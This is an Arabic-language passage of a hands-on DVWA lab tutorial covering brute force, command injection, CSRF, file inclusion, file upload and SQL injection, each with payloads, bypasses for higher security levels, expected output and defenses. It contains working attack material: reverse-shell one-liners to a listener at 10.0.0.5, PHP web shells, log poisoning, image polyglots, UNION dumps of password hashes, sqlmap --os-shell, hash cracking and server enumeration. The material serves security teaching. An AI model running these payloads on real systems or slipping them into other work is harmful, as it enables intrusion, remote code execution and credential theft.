الفكرة: المتصفح يرسل كوكي الجلسة تلقائيًا مع أي طلب إلى النطاق، حتى لو كان الطلب صادرًا من موقع آخر. فإذا كان تغيير كلمة المرور يتم عبر GET أو POST دون رمز عشوائي، يكفي أن يزور الضحية صفحة يُديرها المهاجم ليُغيَّر كلمة مروره. الدفاع ثلاثي: رمز CSRF فريد لكل جلسة/نموذج، وكوكي SameSite، ورفض الطلبات العابرة للنطاق على الأفعال الحساسة.
ثلاث ثغرات حديثة لا تظهر في DVWA
لأن المختبر يركّز على الكلاسيكيات، اعرف شكل الثغرات التي ستقابلها في تطبيقات 2026: SSRF (خادمك يجلب عنوانًا يتحكم به المهاجم فيصل إلى خدمات داخلية مثل 169.254.169.254 في السحابة)، وDeserialization (بيانات مخزّنة تُفكّ إلى كائنات فتُنفّذ سلاسل gadgets)، وBusiness Logic (خصم يُطبَّق مرتين، أو كمية سالبة تُنتج رصيدًا — لا يمكن لأي ماسح اكتشافها). هذه الثغرات لا تُكتشف بالأدوات؛ تُكتشف بفهم التطبيق.
الطبقة 5 · قاعدة البيانات: ما يحدث بعد أن ينجح الحقن
الحقن في SQL ليس نهاية الطريق بل بدايته. بمجرد أن تتحكم في نص الاستعلام، تصبح أنت من يسأل قاعدة البيانات. الترتيب المعياري للاستكشاف هو: الإصدار ← المستخدم الحالي وصلاحياته ← قواعد البيانات ← الجداول ← الأعمدة ← البيانات، ثم ما بعد البيانات: قراءة ملفات، أو كتابة ملف إلى القرص.
version(), user(), database() -- من أنا وأين أقف SELECT schema_name FROM information_schema.schemata; SELECT table_name FROM information_schema.tables WHERE table_schema = database(); SELECT column_name FROM information_schema.columns WHERE table_name = 'users'; SELECT user, password FROM users; -- الهدف النهائي SELECT @@secure_file_priv; -- هل أستطيع القراءة/الكتابة على القرص؟ SELECT LOAD_FILE('/etc/passwd');
ثلاثة أسئلة تحدد حجم الكارثة بعد الحقن. الأول: ما نوع حساب قاعدة البيانات؟ إن كان التطبيق يتصل بـroot فأنت تملك كل قواعد الخادم لا قاعدة تطبيق واحد. الثاني: هل توجد صلاحية FILE؟ حينها يمكن قراءة ملفات النظام — وأحيانًا كتابة ملف PHP في مجلد الويب، أي تحويل حقن SQL إلى تنفيذ كود كامل. الثالث: كيف تُخزَّن كلمات المرور؟ تجزئة بلا ملح (مثل MD5 في المستويات الدنيا من DVWA) تُكسر في ثوانٍ بالقواميس، بينما bcrypt/Argon2 تجعل الكسر مكلفًا.
$ hashid '5f4dcc3b5aa765d61d8327deb882cf99' # ما نوع التجزئة؟ $ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt # MD5 $ john --format=raw-md5 --wordlist=rockyou.txt hashes.txt
حساب قاعدة بيانات بأقل صلاحية ممكنة (لا FILE، لا DROP، لا وصول لقواعد أخرى)، واستعلامات مُهيَّأة، وتجزئة حديثة مع ملح، وتشفير الحقول الحساسة. القاعدة الذهبية: لو اخترق أحد التطبيق، يجب ألّا يحصل تلقائيًا على قاعدة البيانات كلها.
الطبقة 6 · نظام التشغيل: من ثغرة في صفحة إلى سيطرة على الخادم
عندما تنجح في حقن أمر (Command Injection) أو رفع ملف قابل للتنفيذ، تنتقل من "مستخدم تطبيق" إلى "عملية على الخادم" — وغالبًا باسم www-data. السؤال التالي ليس "ماذا أفعل؟" بل "من أنا وما الذي أملكه؟".
- تثبيت الموطئ (Foothold)
التحقق من الهوية والنظام: id; uname -a; cat /etc/os-release. ثم اختبار القدرة على تنفيذ أمر خارجي (curl، wget، nc، python).
- الحصول على جلسة تفاعلية
أمر واحد يفتح صدفة عكسية إلى مستمع على جهازك يعطي استقرارًا أكبر من حقن أمر في كل مرة. المبدأ: الخادم يتصل بك، لا أنت به (لتجاوز الجدار الناري).
- تعداد النظام (Enumeration)
المستخدمون، الخدمات، المهام المجدولة، الملفات القابلة للكتابة، أسرار التطبيق في .env أو إعدادات الاتصال — وهي غالبًا كنز أكبر من صلاحيات الجذر.
- رفع الصلاحيات (Privilege Escalation)
البحث عن sudo بلا كلمة مرور، ملفات SUID، إصدار نواة قديم، أو مهمة مجدولة تعمل بصلاحية أعلى.
- الحركة الجانبية والتثبيت
من الخادم إلى قاعدة بيانات داخلية، أو خادم آخر على نفس الشبكة، ثم إنشاء طريق عودة دائم — وهو ما يُكشف عادةً في الطبقة 7 لا في L6.
$ id; whoami; hostname; uname -a $ sudo -l 2>/dev/null # ماذا أستطيع تشغيله كجذر؟ $ find / -perm -4000 -type f 2>/dev/null # ملفات SUID $ ls -la /var/www/html; cat /var/www/html/config.php 2>/dev/null $ ss -tulpn # ما الخدمات الداخلية المتاحة؟
إذا كان DVWA يعمل في Docker فأنت داخل حاوية: /etc/passwd وwhoami يعملان، لكن الوصول إلى المضيف يحتاج تجاوزًا آخر (صلاحيات زائدة، docker.sock مكشوف، --privileged). الدروس تبقى نفسها، والفارق أن "الكارثة" محدودة النطاق أحيانًا — وهذا بالضبط سبب انتشار الحاويات كطبقة عزل.
الطبقة 7 · الهوية والعمليات: من قال إنك أنت؟ ومن سيلاحظ؟
هذه الطبقة لا تحمي البيانات مباشرة؛ تحمي الادعاءات: "أنا فلان"، "أنا مخوّل"، "لم يحدث شيء". وأغلب الاختراقات الكبيرة لم تُكتشف لأن إحدى الطبقات السابقة سقطت، بل لأن هذه الطبقة لم تكن تراقب.
إدارة الجلسة
معرّف قابل للتوقّع أو متسلسل (كما في DVWA: Weak Session IDs) يعني انتحال جلسات الآخرين دون كلمة مرور. المعرّف يجب أن يكون عشوائيًا بإنتروبيا كافية، ويُجدَّد عند الدخول، ويُبطَل عند الخروج.
رموز JWT
الأخطاء المتكررة: قبول alg: none، سرّ HMAC ضعيف قابل للتخمين، عدم التحقق من التوقيع أصلاً، عدم فحص aud/iss/exp.
OAuth / SSO
redirect_uri غير مقيّد يسرق رمز التفويض، وغياب state يفتح CSRF على تدفق الدخول.
استعادة كلمة المرور
رمز ضعيف الإنتروبيا، بلا انتهاء صلاحية، أو رابط يُبنى من ترويسة Host — ثلاث طرق كلاسيكية لاختطاف الحساب بلا كلمة مرور.
الأسرار وسلسلة التوريد
مفاتيح في مستودع Git، اعتماديات قديمة، أو سكربتات بناء تُنفَّذ بصلاحيات عالية. الهجوم هنا لا يستهدف الكود بل عملية إنتاجه.
السجلات والرصد
هجوم SQLi يظهر في السجلات كطلب عادي إذا لم تُسجَّل المعاملات. غياب الرصد يحوّل اختراقًا اكتُشف في ساعة إلى اختراق اكتُشف في سنة.
ماذا يُسجَّل فعلاً؟
السجل المفيد ليس "GET /login 200" بل: من الطالب، من أي IP وجهاز، بأي رمز جلسة، وما القيم التي أرسلها (مع حجب الحقول الحساسة)، وما الذي تغيّر. على هذا الأساس تُبنى قواعد الكشف: محاولات دخول فاشلة متكررة، تغيّر مفاجئ في عنوان IP داخل نفس الجلسة، طلبات تحمل ' أو UNION أو ../، أو ارتفاع في أخطاء 403 — كلها إشارات لا ثغرات.
عند اختبار هذه الطبقة بتفويض، اختبر وجود الضوابط لا تجاوزها الضار: هل يُرفض الرمز المنتهي؟ هل تُبطَل الجلسة عند الخروج؟ هل يُقيَّد redirect_uri؟ لا تُجرِ تجارب تُقفل حسابات حقيقية أو تُرسل رسائل فعلية لمستخدمين.
تجهيز DVWA في خمس دقائق
DVWA (Damn Vulnerable Web Application) تطبيق PHP/MySQL صُمّم عمدًا ليحتوي على ثغرات شائعة، ويعرض لك كود المصدر بجانب كل تحدي. أشهر طريقة لتشغيله اليوم هي Docker — معزول، سريع، وقابل للحذف بالكامل.
# الطريقة 1: صورة جاهزة $ docker run --rm -it -p 8080:80 --name dvwa vulnerables/web-dvwa # الطريقة 2: من المستودع الرسمي (أحدث إصدار) $ git clone https://github.com/digininja/DVWA.git && cd DVWA $ docker compose up -d # التحقق $ docker ps --filter name=dvwa $ curl -sI http://localhost:8080 | head -3
خطوات التهيئة الأولى
- افتح http://localhost:8080
ستظهر صفحة الدخول: المستخدم admin وكلمة المرور password.
- اضغط Create / Reset Database
يُنشئ الجداول ويملأ بيانات المستخدمين. إن ظهر خطأ، عد إلى صفحة Setup وأعد الإنشاء.
- اضبط مستوى الأمان
من DVWA Security اختر Low للبداية. سنصعد إلى Medium ثم High ثم Impossible مع كل ثغرة.
- أضف كوكي الأمان إلى أدواتك
كل أداة خارجية (sqlmap، hydra، ffuf) تحتاج PHPSESSID وsecurity=low. انسخهما من DevTools ← Application ← Cookies.
| المستوى | ماذا يمثّل | قيمة التعلم |
|---|---|---|
| LOW | كود بلا أي حماية | تفهم الثغرة في أنقى صورها |
| MEDIUM | حماية ساذجة (استبدال نصي، فحص نوع من العميل) | تتعلم لماذا "الترقيع" لا يكفي |
| HIGH | حماية أقوى لكنها ليست مكتملة | تُنمّي مهارة الالتفاف والتفكير الجانبي |
| IMPOSSIBLE | التطبيق الصحيح: قائمة بيضاء، رموز، استعلامات مُهيَّأة | مرجعك الدفاعي عند كتابة كودك |
View Source أسفل كل صفحة يعرض كود PHP للمستوى الحالي — اقرأه قبل أي حمولة. وView Help يشرح الهدف. عادة القراءة أولًا تختصر ساعات من التجربة العمياء.
لا تُشغّل DVWA على واجهة عامة أو شبكة غير موثوقة، ولو لساعة. إن احتجت إلى RFI (تضمين ملف عن بعد) فأنت تحتاج خادمًا على جهازك: python3 -m http.server 8000 ثم الوصول إليه من الحاوية عبر host.docker.internal:8000 أو عنوان الـIP المحلي.
ست عشرة ثغرة، بنفس المنهج
كل ثغرة تُقدَّم بنفس القالب: الهدف ← الخطوات ← الأمر/الحمولة ← النتيجة المتوقعة ← سبب النجاح في الكود ← الدفاع. ابدأ من الأعلى خطرًا إن كان وقتك محدودًا: SQLi وCommand Injection وFile Upload تمنحك في العادة أكبر أثر.
| # | الثغرة | الخطر | الفئة (CWE) | المخرَج النموذجي |
|---|---|---|---|---|
| 16 | Brute Force | متوسط | CWE-307 | كلمة مرور admin |
| 17 | Command Injection | حرج | CWE-78 | تنفيذ أوامر → جلسة عكسية |
| 18 | CSRF | عالٍ | CWE-352 | تغيير كلمة مرور الضحية |
| 19 | File Inclusion | حرج | CWE-98 | قراءة ملفات / تنفيذ كود |
| 20 | File Upload | حرج | CWE-434 | Web Shell |
| 21 | SQL Injection | حرج | CWE-89 | تفريغ جدول users |
| 22 | Blind SQL Injection | حرج | CWE-89 | استخراج حرفًا بحرف |
| 23 | Weak Session IDs | عالٍ | CWE-330 | انتحال جلسة |
| 24 | JavaScript Attacks | متوسط | CWE-602 | تجاوز تحقق في العميل |
| 25 | XSS (DOM) | عالٍ | CWE-79 | تنفيذ JS دون خادم |
| 26 | XSS (Reflected) | عالٍ | CWE-79 | سرقة كوكي |
| 27 | XSS (Stored) | حرج | CWE-79 | إصابة كل زائر |
| 28 | CSP Bypass | متوسط | CWE-693 | تنفيذ رغم السياسة |
| 29 | Insecure CAPTCHA | متوسط | CWE-804 | تخطي التحقق البشري |
| 30 | Open Redirect | متوسط | CWE-601 | تصيّد عبر نطاق موثوق |
| 31 | API / Auth Bypass | عالٍ | CWE-639 | قراءة بيانات مستخدمين |
16 · Brute Force — تخمين بيانات الدخول
MEDIUMCWE-307الهدف: الوصول إلى لوحة تحكم بكلمة مرور لم تُعطَ لك، عبر تجربة قائمة كلمات مرور شائعة. في المستوى Low لا يوجد أي قيد على عدد المحاولات ولا تأخير.
- افتح الوحدة واختبر يدويًا
المسار /dvwa/vulnerabilities/brute/. جرّب admin/password لتتأكد من عمل النموذج، ثم admin/wrong لترى رسالة الخطأ التي ستستخدمها كمرشّح.
- التقط الطلب في Burp
الطلب GET ويحمل username وpassword وLogin=Login، مع كوكي الجلسة. أرسله إلى Intruder أو انسخه لأداة خارجية.
- شغّل hydra
حدّد المستخدم الثابت والقائمة المتغيرة، وحدّد نص الفشل Username and/or password incorrect.
- تحقّق من النتيجة
ادخل بالبيانات المكتشفة فعليًا — لا تكتفِ بظهورها في المخرَج.
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt "localhost" -s 8080 http-post-form \ "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie: PHPSESSID=YOURID; security=low" # بديل أسرع بلا تثبيت أدوات: ffuf $ ffuf -u "http://localhost:8080/dvwa/vulnerabilities/brute/?username=admin&password=FUZZ&Login=Login" \ -w pass10k.txt -b "PHPSESSID=YOURID; security=low" -fr "incorrect" -t 20
[80][http-post-form] host: localhost:8080 login: admin password: password FUZZ: password [Status: 200, Size: 4867, Words: 145]
المستوى Medium — تأخير بسيط لا يوقف الأتمتة
يضيف الكود sleep(2) عند الفشل ويستخدم mysqli_real_escape_string لمنع الحقن، لكنه لا يحدّ عدد المحاولات. الأمر نفسه يعمل لكن أبطأ؛ اخفض عدد الخيوط إلى 4–5 حتى لا تسقط الطلبات.
$ hydra -l admin -P pass100.txt "localhost" -s 8080 -t 4 http-post-form \ "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie: PHPSESSID=YOURID; security=medium"
المستوى High — رمز CSRF عشوائي + تأخير عشوائي
الرمز user_token يتغير مع كل طلب، والتأخير عشوائي بين 0 و3 ثوانٍ (sleep(rand(0,3))). الحل ليس أداة جاهزة بل سكربت يجلب الرمز من الصفحة ثم يرسله مع كل محاولة (هذا هو نمط "Session Handling" في Burp: ماكرو يجلب التوكن قبل كل طلب).
import re, requests BASE = "http://localhost:8080/dvwa/vulnerabilities/brute/" C = {"PHPSESSID": "YOURID", "security": "high"} for pw in open("pass10k.txt").read().split(): tok = re.search(r"name='user_token' value='([^']+)'", requests.get(BASE, cookies=C).text).group(1) r = requests.get(BASE, cookies=C, params={"username":"admin","password":pw,"Login":"Login","user_token":tok}) if "incorrect" not in r.text: print("FOUND:", pw); break
لاحظ أن الحماية هنا جيدة لكنها ما زالت بلا حدّ للمحاولات — القاموس يحتاج وقتًا أطول فقط، لا أكثر.
السبب: لا يوجد عدّاد محاولات ولا تأخير تصاعدي ولا CAPTCHA. رسالة الخطأ موحّدة لكنها كافية للتمييز بين النجاح والفشل.
الدفاع: حدّ محاولات لكل حساب ولكل IP، تأخير تصاعدي، CAPTCHA بعد ثلاث محاولات، قفل مؤقت (لا دائم)، كشف كلمات المرور المسرّبة، إلزام 2FA على الحسابات الإدارية، وتنبيه أمني عند نجاح دخول بعد فشل متكرر.
17 · Command Injection — من صندوق نص إلى صدفة
CRITICALCWE-78الهدف: تنفيذ أوامر نظام داخل الخادم عبر حقل "ping". الكود يبني الأمر بـshell_exec("ping -c 4 " . $ip) دون تهريب، فأي فاصل (; | &) ينهي الأمر الأول ويبدأ أمرك.
- تأكيد السلوك الطبيعي
أدخل 127.0.0.1 — سترى مخرَج ping. هذا يعني أن الخادم ينفّذ أمرًا فعليًا، لا يحاكيه.
- اختبار الفاصل
أدخل 127.0.0.1; whoami. إن ظهر اسم مستخدم الخادم بعد مخرَج ping، فأنت تنفّذ أوامر.
- جمع معلومات سريع
مستخدم، نظام، ملفات الموقع، وإمكانية الاتصال الخارجي.
- جلسة عكسية
شغّل مستمعًا على جهازك، ثم اطلب من الخادم الاتصال بك. النتيجة صدفة تفاعلية بدل حقن أمر في كل مرة.
127.0.0.1; whoami 127.0.0.1; id; uname -a 127.0.0.1; cat /etc/passwd 127.0.0.1; ls -la /var/www/html
# على جهازك (المستمع) $ nc -lvnp 4444 # في حقل ping على DVWA 127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' 127.0.0.1; nc -e /bin/sh 10.0.0.5 4444
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.031 ms www-data uid=33(www-data) gid=33(www-data) groups=33(www-data) Linux 5b2f... 6.1.0-18-amd64 #1 SMP x86_64 GNU/Linux
المستوى Medium — الفلتر يحذف && و; فقط
الكود يستبدل && و; بسلسلة فارغة. لكن الفاصل | و& المفرد لم يُذكرا. الحل: استخدم فاصلًا لم يُفلتر.
127.0.0.1 | whoami 127.0.0.1 & whoami 127.0.0.1 | cat /etc/passwd
المستوى High — حذف أوسع، لكن الفاصل بلا مسافة يمرّ
يُحذف & و; و| (لاحظ المسافة بعد الأنبوب) و- و$ و( و) و`. لأن النمط المحذوف هو "| " بمسافة، فإن كتابة الأنبوب ملتصقًا بالأمر التالي تمرّ.
127.0.0.1|whoami 127.0.0.1|ls
الحماية هنا "قائمة حظر" — وكل قائمة حظر تُهزم بترميز أو بصياغة لم يتوقعها كاتبها. الحل الصحيح في المستوى Impossible: قائمة سماح بأربع خانات رقمية + escapeshellarg.
السبب: المدخل يُلصق في سلسلة تُنفَّذ في الصدفة، فتحوّل النص من وسيط إلى تعليمات. والصدفة تفسّر ; كفاصل أوامر.
الدفاع: لا تستخدم أوامر نظام لتنفيذ ما يمكنك فعله بمكتبة (فحص IP بمكتبة الشبكة بدل ping). وإن اضطررت: تحقق من الشكل بقائمة سماح صريحة (كل خانة 0–255)، ومرّر القيم كمصفوفة بلا صدفة (proc_open أو escapeshellarg)، وشغّل التطبيق بمستخدم محدود الصلاحية داخل حاوية.
18 · CSRF — تغيير كلمة مرور دون أن تعرفها
HIGHCWE-352الهدف: إجبار متصفح الضحية على إرسال طلب شرعي إلى DVWA. في المستوى Low لا يوجد رمز CSRF ولا تحقق من المصدر، والطلب يُقبل عبر GET — أي أن مجرد تحميل صورة يمكن أن يغيّر كلمة المرور.
- افهم الطلب
افتح /dvwa/vulnerabilities/csrf/ وافحص النموذج: يرسل password_new وpassword_conf وChange عبر GET، بلا أي توكن.
- اكتب صفحة الهجوم
ملف HTML صغير يُرسل تلقائيًا عند الفتح. سمّه csrf.html واستضفه على جهازك.
- أرسل الرابط للضحية
في مختبرك: افتح الرابط في متصفح آخر مسجّل الدخول بمستخدم مختلف (مثلًا gordonb).
- تحقّق
سترى رسالة Password Changed. ثم جرّب الدخول بالكلمة الجديدة.
<html><body onload="document.forms[0].submit()"> <form action="http://localhost:8080/dvwa/vulnerabilities/csrf/" method="GET"> <input name="password_new" value="Pwned123!"> <input name="password_conf" value="Pwned123!"> <input name="Change" value="Change"> </form> </body></html>
$ python3 -m http.server 8000 --directory ./loot # في متصفح الضحية (جلسة DVWA مفتوحة): http://10.0.0.5:8000/csrf.html
Password Changed. > ثم: admin / Pwned123! → Welcome to the password protected area
المستوى Medium — فحص Referer قابل للالتفاف
يضيف الكود شرطًا: يجب أن يحتوي HTTP_REFERER على SERVER_NAME (أي كلمة localhost). الشرط يفحص "احتواء" لا "تطابقًا"، لذا يكفي أن يظهر الاسم داخل الرابط.
# مجلد اسمه localhost على خادم المهاجم $ mkdir -p loot/localhost && cp csrf.html loot/localhost/ # الرابط الذي يُرسل للضحية: http://10.0.0.5:8000/localhost/csrf.html
الدرس: التحقق من المصدر يجب أن يكون بمقارنة أصل كامل (scheme://host:port) لا ببحث نصي عن جزء منه.
المستوى High — رمز + كلمة المرور الحالية
يطلب الكود user_token فريدًا مرتبطًا بالجلسة و كلمة المرور الحالية. غياب أي منهما يُبطل الطلب. هنا تصبح الثغرة غير قابلة للاستغلال عمليًا كـCSRF — وهذا هو الإصلاح الصحيح: إعادة التوثيق للأفعال الحساسة، إضافةً إلى التوكن.
السبب: الخادم يعتمد على الكوكي وحده كإثبات للنية. المتصفح يرفق الكوكي تلقائيًا بأي طلب — حتى لو صدر من موقع آخر.
الدفاع: رمز عشوائي لكل نموذج مربوط بالجلسة، SameSite=Lax، رفض GET للأفعال المتغيرة، التحقق من Origin، وطلب كلمة المرور الحالية عند تغييرها.
19 · File Inclusion — قراءة ملفات الخادم وتنفيذ كود
CRITICALCWE-98الهدف: التحكم في المسار الممرَّر إلى include(). إن كان الملف محليًا فهي LFI (قراءة)، وإن كان بعيدًا فهي RFI (تنفيذ كود) — وتحويل الحالة الأولى إلى الثانية ممكن دائمًا عبر سجلات الخادم.
- اختبر المسار النسبي
الوحدة تقرأ ?page=file1.php. عدد مستويات الرجوع يعتمد على عمق المجلد؛ زد ../ حتى تصل إلى الجذر.
- اقرأ كود PHP بدل تنفيذه
استخدام مُغلِّف php://filter مع base64 يمنع التنفيذ ويعيد الكود نصًا — ضروري لتحليل الإعدادات وكلمات المرور.
- جرّب التضمين البعيد
يحتاج allow_url_include=On في إعداد PHP. الملف المستضاف لديك يجب أن يكون بصيغة نصية (txt) لكنه كود PHP.
- تلويث السجل (Log Poisoning)
اكتب كود PHP في User-Agent فيُسجَّل في access.log، ثم ضمّن السجل نفسه ليتنفّذ الكود.
# 1) قراءة ملفات النظام ?page=../../../../etc/passwd # 2) قراءة الكود المصدري بدل تنفيذه ?page=php://filter/convert.base64-encode/resource=index.php # 3) تضمين بعيد (shell.txt يحتوي كود PHP) ?page=http://10.0.0.5:8000/shell.txt&c=id # 4) تلويث السجل ثم تضمين السجل ?page=../../../../var/log/apache2/access.log&c=whoami
$ echo '<?php system($_GET["c"]); ?>' > shell.txt # تلويث User-Agent (يُسجَّل حرفيًا في access.log) $ curl -s -A '<?php system($_GET["c"]); ?>' http://localhost:8080/dvwa/ # فك ترميز الكود المسحوب من php://filter $ echo 'PD9waHAg...' | base64 -d
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin -- وبعد التضمين البعيد: uid=33(www-data) gid=33(www-data) groups=33(www-data)
المستوى Medium — حظر نصي بسيط
يُحذف http:// وhttps:// و../ و..\ باستخدام str_replace (مرة واحدة فقط). ثلاث طرق للالتفاف:
# 1) مسار مطلق: لا يحتوي ../ أصلاً ?page=/etc/passwd # 2) مضاعفة الحمولة: بعد الحذف تعود ../ ?page=....//....//....//....//etc/passwd # 3) مزج البروتوكول ليعود بعد الحذف ?page=hthttp://tp://10.0.0.5:8000/shell.txt&c=id
المستوى High — قيد fnmatch("file*")
الشرط أن يبدأ المسار بكلمة file. لكن النمط لا يمنع المخططات (schemes). استخدام مُغلِّف file:// يبدأ بـfile ويفي بالشرط:
?page=file:///etc/passwd ?page=file1.php
المستوى Impossible يستخدم قائمة سماح صريحة بأسماء الملفات الأربعة فقط — لا مسارات ولا مخططات. هذا هو الحل.
السبب: المسار يُبنى من مدخل المستخدم بلا قائمة سماح، فيمكن الخروج من مجلد التطبيق أو جلب ملف من الخارج.
الدفاع: قائمة سماح بأسماء ثابتة، أو basename() مع مقارنة ضد مصفوفة مسموحة، تعطيل allow_url_include وallow_url_fopen، تشغيل PHP في حاوية بصلاحيات قراءة محدودة (open_basedir)، ومنع تنفيذ الملفات في مجلدات الرفع.
20 · File Upload — رفع Web Shell
CRITICALCWE-434الهدف: رفع ملف PHP إلى مجلد يخدمه Apache، ثم تنفيذه. عندما يُحفظ الملف داخل مجلد الويب بامتداد قابل للتنفيذ، فإن "رفع صورة" يصبح "تنفيذ كود" — أعلى درجات الخطورة.
- أنشئ Shell بسيطًا
ملف PHP يستقبل الأمر من معامل cmd ويعيد مخرجه. لا تحتاج أدوات — سطران يكفيان.
- ارفعه
من صفحة الوحدة اختر الملف واضغط Upload. جواب الصفحة يعرض المسار الكامل.
- نفّذه
افتح المسار في المتصفح مع ?cmd=id. إن ظهرت نتيجة الأمر فأنت تملك تنفيذ كود على الخادم.
- ارقَ إلى جلسة
استخدم نفس الـshell لفتح اتصال عكسي (كما في ثغرة Command Injection).
<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
http://localhost:8080/dvwa/hackable/uploads/shell.php?cmd=id http://localhost:8080/dvwa/hackable/uploads/shell.php?cmd=cat%20/etc/passwd http://localhost:8080/dvwa/hackable/uploads/shell.php?cmd=uname%20-a
../../hackable/uploads/shell.php succesfully uploaded! uid=33(www-data) gid=33(www-data) groups=33(www-data) Linux 5b2f4c... 6.1.0-18-amd64 x86_64 GNU/Linux
المستوى Medium — فحص Content-Type يُلتف عليه
الكود يتحقق من $_FILES['uploaded']['type'] ويريد image/jpeg أو image/png وحجمًا أقل من 100KB — وهي قيمة يرسلها المتصفح، أي يتحكم بها المهاجم. اعترض الطلب في Burp وغيّر الترويسة فقط وأبقِ الامتداد .php.
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: image/jpeg <-- غيّرها من application/x-php
<?php system($_GET['cmd']); ?>المستوى High — فحص محتوى + امتداد: الحل هو الجمع مع LFI
هنا يُفحص المحتوى بـgetimagesize() (أي يجب أن يكون صورة حقيقية) ويُقبل امتداد jpg/jpeg/png فقط. لذا لن يُنفَّذ الملف مباشرة. الطريقة العملية: صورة حقيقية تحمل كود PHP في تعليقها (polyglot)، ثم تضمينها عبر ثغرة File Inclusion — فيُنفّذ الكود لأن PHP لا يهتم بالامتداد عند التضمين.
$ exiftool -Comment='<?php system($_GET["cmd"]); ?>' logo.jpg -o shell.jpg # ارفع shell.jpg ثم: ?page=../../hackable/uploads/shell.jpg&cmd=id
الدرس: حماية الرفع وحدها لا تكفي إذا كان هناك تضمين ملفات؛ الطبقات تُقيَّم معًا.
السبب: الملف يُحفظ في مجلد يُنفّذه الخادم، والتحقق (إن وُجد) يعتمد على قيم يرسلها العميل.
الدفاع: تخزين الملفات خارج جذر الويب أو في تخزين كائنات، وإعادة تسميتها بمعرّف عشوائي + امتداد من قائمة سماح، والتحقق من المحتوى فعليًا (magic bytes + إعادة ترميز الصور)، وتعطيل تنفيذ PHP في مجلد الرفع (php_admin_flag engine off)، وفحص الملفات ببرمجية مكافحة فيروسات.
21 · SQL Injection — من خطأ صياغة إلى قاعدة بيانات مفتوحة
CRITICALCWE-89الهدف: التحكم في نص الاستعلام للوصول إلى جداول لم يُقصد عرضها. الكود في Low: SELECT first_name, last_name FROM users WHERE user_id = '$id' — المدخل داخل علامات تنصيص، فأول ما نفعله هو كسرها.
- أكّد وجود الحقن
أدخل 1 ثم 1'. ظهور خطأ SQL هو الدليل الأول (وليس المطلوب دائمًا).
- اكسر المنطق
1' OR '1'='1 تُرجع كل الصفوف لأن الشرط صحيح دائمًا — هذا تجاوز منطقي كامل.
- حدّد عدد الأعمدة
ORDER BY n حتى يظهر الخطأ: آخر قيمة ناجحة = عدد الأعمدة (هنا 2).
- استخدم UNION لطباعة بياناتك
يجب أن يتوافق عدد الأعمدة وأنواعها. جرّب 1' UNION SELECT 1,2 #.
- اسحب البيانات
اسم القاعدة، المستخدم، الجداول، الأعمدة، ثم كلمات المرور.
-- 1) كسر الصياغة 1' -- 2) تجاوز منطقي: كل المستخدمين 1' OR '1'='1 -- 3) تحديد عدد الأعمدة 1' ORDER BY 1 # 1' ORDER BY 2 # 1' ORDER BY 3 # -- خطأ = العدد 2 -- 4) عرض نقاط الطباعة 1' UNION SELECT 1,2 # -- 5) بيانات النظام 1' UNION SELECT database(), user() # 1' UNION SELECT @@version, @@datadir # -- 6) الجداول ثم الأعمدة 1' UNION SELECT table_name, 2 FROM information_schema.tables WHERE table_schema=database() # 1' UNION SELECT column_name, 2 FROM information_schema.columns WHERE table_name='users' # -- 7) الحصاد 1' UNION SELECT user, password FROM users #
ID: 1' UNION SELECT user, password FROM users # First name: admin Surname: 5f4dcc3b5aa765d61d8327deb882cf99 First name: gordonb Surname: e99a18c428cb38d5f260853678922e03
$ sqlmap -u "http://localhost:8080/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=YOURID; security=low" --batch --dbs $ sqlmap ... -D dvwa -T users --dump $ sqlmap ... --tables -D dvwa $ sqlmap ... --os-shell # فقط إن توفرت صلاحيات كتابة
المستوى Medium — الاستعلام الرقمي بلا تنصيص
الكود يستخدم mysqli_real_escape_string ثم يبني: WHERE user_id = $id (بلا علامات تنصيص). التهريب يمنع كسر النص، لكن السياق الرقمي لا يحتاج تنصيصًا — لذا الحقن يعمل بلا أي '، وتُستبدل التعليقات بـ# فقط.
1 OR 1=1 1 UNION SELECT user, password FROM users # 1 UNION SELECT table_name, 2 FROM information_schema.tables WHERE table_schema=database() #
الدرس الأهم في هذه الوحدة: التهريب ليس حلاً. الحل الوحيد هو الاستعلامات المُهيَّأة (Parameterized Queries).
المستوى High — LIMIT 1 لا يمنع UNION
الاستعلام يعيد علامات التنصيص ويضيف LIMIT 1، والخطأ يُستبدل برسالة عامة. يكفي أن تُعلّق الجزء الأخير ليختفي الحد:
1' UNION SELECT user, password FROM users # 1' UNION SELECT table_name, 2 FROM information_schema.tables WHERE table_schema=database() #
الحماية الحقيقية في Impossible: استعلام مُهيَّأ + ربط نوع صريح (PDO::PARAM_INT) + منع رسائل الخطأ.
السبب: بناء الاستعلام بالتسلسل النصي، فيتحول مدخل المستخدم إلى جزء من نحو الاستعلام لا إلى قيمة.
الدفاع: استعلامات مُهيَّأة دائمًا (PDO/MySQLi مع ربط المعاملات)، التحقق من النوع، حساب قاعدة بيانات بأقل صلاحية، إخفاء رسائل الخطأ عن المستخدم، وWAF كطبقة إضافية لا كأساس.
22 · Blind SQL Injection — عندما لا ترى النتيجة
CRITICALCWE-89الهدف: استخراج البيانات دون أن تُطبع في الصفحة. لديك قناتان: صواب/خطأ (هل تغيّر نص الصفحة؟) والزمن (هل تأخّر الرد؟). الحمولة تُحوَّل إلى سؤال واحد: "هل الحرف الأول من كلمة مرور المدير يساوي 5؟".
- أنشئ فرقًا يمكن قياسه
1' AND 1=1 # يجب أن يعطي "موجود"، و1' AND 1=2 # يعطي "غير موجود". هذا هو البت الذي ستقرأ به كل شيء.
- حوّل الشرط إلى سؤال عن البيانات
استخدم SUBSTRING لفحص حرف واحد في موضع محدد.
- أتمتة الحروف
حلقة على المواضع 1..32 وحروف 0-9a-f. أو دع sqlmap يفعلها.
- استخدم الزمن عند غياب أي فرق بصري
SLEEP(5) داخل شرط؛ الرد المتأخر يعني "نعم".
